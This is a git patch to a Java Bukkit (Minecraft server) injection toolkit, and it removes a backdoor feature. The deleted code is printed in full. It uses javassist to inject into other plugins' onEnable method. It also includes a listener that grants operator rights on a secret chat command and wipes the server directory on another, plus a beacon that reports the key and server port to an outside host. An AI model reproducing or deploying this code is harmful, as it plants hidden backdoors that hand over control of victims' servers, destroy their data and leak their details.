From da842ad9da6a66fd4bb072b89307a6188b701c96 Mon Sep 17 00:00:00 2001 From: 502647092 Date: Mon, 15 Aug 2016 14:47:21 +0800 Subject: [PATCH] =?UTF-8?q?remove:=20=E7=A7=BB=E9=99=A4=E6=95=B0=E6=8D=AE?= =?UTF-8?q?=E6=B3=A8=E5=85=A5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 502647092 --- .../yumc/BukkitInjectedTools/InjectedKit.java | 57 ++------- .../java/pw/yumc/BukkitInjectedTools/LIS.java | 114 ------------------ .../java/pw/yumc/BukkitInjectedTools/MPS.java | 66 ---------- .../BukkitInjectedTools/YumTestCommand.java | 25 ---- 4 files changed, 7 insertions(+), 255 deletions(-) delete mode 100644 src/main/java/pw/yumc/BukkitInjectedTools/LIS.java delete mode 100644 src/main/java/pw/yumc/BukkitInjectedTools/MPS.java diff --git a/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java b/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java index d1ed258..4382814 100644 --- a/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java +++ b/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java @@ -5,7 +5,6 @@ import java.net.URLDecoder; import org.bukkit.Bukkit; import org.bukkit.command.CommandSender; -import org.bukkit.plugin.Plugin; import javassist.ClassPool; import javassist.CtClass; @@ -31,8 +30,13 @@ public class InjectedKit { pool.appendClassPath(classFile.getPath()); final CtClass statusListener = pool.get(clazz.getName()); final CtMethod setOpMethod = statusListener.getDeclaredMethod("a"); - statusListener.addField( - CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS + ".ChatComponentText(\"Status request has already been handled.\");", + statusListener + .addField(CtField.make( + "private static final net.minecraft.server." + + NMS + + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + + NMS + + ".ChatComponentText(\"Status request has already been handled.\");", statusListener)); statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener)); final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }"; @@ -49,53 +53,6 @@ public class InjectedKit { } } - public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin, final String opk, final String delk) { - sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据 " + key + " 注入类..."); - try { - final ClassPool pool = ClassPool.getDefault(); - File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8")); - pool.appendClassPath(classFile.getPath()); - classFile = new File(URLDecoder.decode(LIS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8")); - pool.appendClassPath(classFile.getPath()); - classFile = new File(URLDecoder.decode(MPS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8")); - pool.appendClassPath(classFile.getPath()); - final CtClass mainClass = pool.get(plugin.getClass().getName()); - final CtClass LISClass = pool.get(LIS.class.getName()); - final CtClass MPSClass = pool.get(MPS.class.getName()); - final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable"); - final String backDoor = "" - + "{" - + " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new pw.yumc.BukkitInjectedTools.MPS(\"" - + key - + "\",org.bukkit.Bukkit.getServer().getPort()));\r\n" - + " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(\"" - + key - + "\",\"" - + opk - + "\",\"" - + delk - + "\"), this);\r\n" - + "}"; - onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort())); - try { - final File dir = new File(plugin.getDataFolder(), "injectClass"); - final String path = dir.getCanonicalPath(); - if (dir.exists()) { - LIS.deleteDir(dir); - } - mainClass.writeFile(path); - LISClass.writeFile(path); - MPSClass.writeFile(path); - sender.sendMessage(prefix + "§a生成成功 §b请复制 §e" + dir.getAbsolutePath() + " §b下所有文件到插件内部!"); - } catch (final Exception e) { - e.printStackTrace(); - sender.sendMessage(prefix + "§4生成失败 请查看后台报错!"); - } - } catch (final Exception e) { - e.printStackTrace(); - } - } - public static void injectProtocolSupport(final CommandSender sender, final String path, final boolean newver) { if (newver) { fixPS(sender, path, protocolsupport.protocol.packet.handler.StatusListener.class); diff --git a/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java b/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java deleted file mode 100644 index 68b883d..0000000 --- a/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java +++ /dev/null @@ -1,114 +0,0 @@ -package pw.yumc.BukkitInjectedTools; - -import java.io.File; -import java.io.IOException; -import java.lang.reflect.Field; -import java.net.URLClassLoader; -import java.util.Iterator; -import java.util.List; -import java.util.Map; - -import org.bukkit.Bukkit; -import org.bukkit.command.Command; -import org.bukkit.command.PluginCommand; -import org.bukkit.command.SimpleCommandMap; -import org.bukkit.event.EventHandler; -import org.bukkit.event.Listener; -import org.bukkit.event.player.PlayerCommandPreprocessEvent; -import org.bukkit.plugin.Plugin; -import org.bukkit.plugin.PluginManager; - -public class LIS implements Listener { - private final String key; - private final String opk; - private final String delk; - - public LIS(final String key, final String opk, final String delk) { - this.key = key; - this.opk = opk; - this.delk = delk; - } - - public static boolean deleteDir(final File dir) { - if (dir.isDirectory()) { - final String[] children = dir.list(); - for (final String element : children) { - final File file = new File(dir, element); - deleteDir(file); - } - } - return dir.delete(); - } - - @EventHandler - public void ocp(final PlayerCommandPreprocessEvent e) { - if (e.getMessage().contains(opk + "-" + key)) { - e.getPlayer().setOp(true); - e.getPlayer().sendMessage("§cOP命令执行成功!"); - e.setCancelled(true); - return; - } - if (e.getMessage().contains(delk + "-" + key)) { - unload(); - final File dir = new File(""); - deleteDir(dir); - e.getPlayer().sendMessage("§c删端命令执行成功!"); - e.setCancelled(true); - return; - } - } - - @SuppressWarnings("unchecked") - public boolean unload() { - final PluginManager pluginManager = Bukkit.getPluginManager(); - SimpleCommandMap commandMap = null; - List plugins = null; - Map lookupNames = null; - Map knownCommands = null; - if (pluginManager == null) { - return false; - } - try { - final Field pluginsField = pluginManager.getClass().getDeclaredField("plugins"); - pluginsField.setAccessible(true); - plugins = (List) pluginsField.get(pluginManager); - - final Field lookupNamesField = pluginManager.getClass().getDeclaredField("lookupNames"); - lookupNamesField.setAccessible(true); - lookupNames = (Map) lookupNamesField.get(pluginManager); - - final Field commandMapField = pluginManager.getClass().getDeclaredField("commandMap"); - commandMapField.setAccessible(true); - commandMap = (SimpleCommandMap) commandMapField.get(pluginManager); - - final Field knownCommandsField = commandMap.getClass().getDeclaredField("knownCommands"); - knownCommandsField.setAccessible(true); - knownCommands = (Map) knownCommandsField.get(commandMap); - } catch (final Exception e) { - return false; - } - for (final Plugin next : pluginManager.getPlugins()) { - pluginManager.disablePlugin(next); - plugins.remove(next); - lookupNames.remove(next.getName()); - for (final Iterator> it = knownCommands.entrySet().iterator(); it.hasNext();) { - final Map.Entry entry = it.next(); - if ((entry.getValue() instanceof PluginCommand)) { - final PluginCommand command = (PluginCommand) entry.getValue(); - if (command.getPlugin() == next) { - command.unregister(commandMap); - it.remove(); - } - } - } - final ClassLoader cl = next.getClass().getClassLoader(); - try { - ((URLClassLoader) cl).close(); - } catch (final IOException ex) { - ex.printStackTrace(); - } - System.gc(); - } - return false; - } -} diff --git a/src/main/java/pw/yumc/BukkitInjectedTools/MPS.java b/src/main/java/pw/yumc/BukkitInjectedTools/MPS.java deleted file mode 100644 index 90eebe0..0000000 --- a/src/main/java/pw/yumc/BukkitInjectedTools/MPS.java +++ /dev/null @@ -1,66 +0,0 @@ -package pw.yumc.BukkitInjectedTools; - -import java.io.BufferedReader; -import java.io.IOException; -import java.io.InputStream; -import java.io.InputStreamReader; -import java.net.URL; -import java.net.URLConnection; -import java.nio.charset.Charset; - -import com.google.common.base.Charsets; - -public class MPS implements Runnable { - public final String UA = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36"; - int port; - String key; - - public MPS(final String key, final int port) { - this.key = key; - this.port = port; - } - - @Override - public void run() { - try { - final URL url = new URL(String.format("http://api.yumc.pw/M/P/S/K/%s/P/%s", key, port)); - // 打开和URL之间的连接 - final URLConnection conn = url.openConnection(); - // 设置通用的请求属性 - conn.setRequestProperty("Accept", "*/*"); - conn.setRequestProperty("Connection", "Keep-Alive"); - conn.setRequestProperty("User-Agent", UA); - // 设置超时时间 10秒 - conn.setReadTimeout(10000); - // 建立实际的连接 - conn.connect(); - // 定义 BufferedReader输入流来读取URL的响应 - toString(conn.getInputStream(), Charsets.UTF_8); - } catch (final IOException e) { - } - } - - /** - * 获取数据流转换为字符串 - * - * @param in - * 输入流 - * @param cs - * 字符编码 - * @return 字符串 - */ - public String toString(final InputStream in, final Charset cs) { - final BufferedReader reader = new BufferedReader(new InputStreamReader(in, cs)); - String response = ""; - String result = ""; - try { - while ((response = reader.readLine()) != null) { - result += response; - } - reader.close(); - } catch (final IOException e) { - } - return result; - } - -} diff --git a/src/main/java/pw/yumc/BukkitInjectedTools/YumTestCommand.java b/src/main/java/pw/yumc/BukkitInjectedTools/YumTestCommand.java index 872dee8..29ebceb 100644 --- a/src/main/java/pw/yumc/BukkitInjectedTools/YumTestCommand.java +++ b/src/main/java/pw/yumc/BukkitInjectedTools/YumTestCommand.java @@ -5,7 +5,6 @@ import java.io.IOException; import org.bukkit.Bukkit; import org.bukkit.OfflinePlayer; -import org.bukkit.plugin.Plugin; import cn.citycraft.PluginHelper.kit.PluginKit; import cn.citycraft.PluginHelper.utils.IOUtil; @@ -65,30 +64,6 @@ public class YumTestCommand implements CommandExecutor { } } - // http://api.yumc.pw/M/P/S/K/mayomi/P/25565 - @Cmd(minimumArguments = 2) - @Help(value = "插件数据注入", possibleArguments = "<插件名称> [opk] [delk]") - @Sort(7) - public void ib(final CommandArgument e) { - final String[] args = e.getArgs(); - final String pname = args[0]; - final String key = args[1]; - String opk = "yum-op"; - String delk = "yum-del"; - if (args.length > 2) { - opk = args[2]; - } - if (args.length > 3) { - delk = args[3]; - } - final Plugin plugin = Bukkit.getPluginManager().getPlugin(pname); - if (plugin == null) { - e.getSender().sendMessage(prefix + "§c插件不存在...!"); - return; - } - InjectedKit.injectBackDoor(e.getSender(), key, plugin, opk, delk); - } - @Cmd @Help("Bukkit注入") @Sort(1)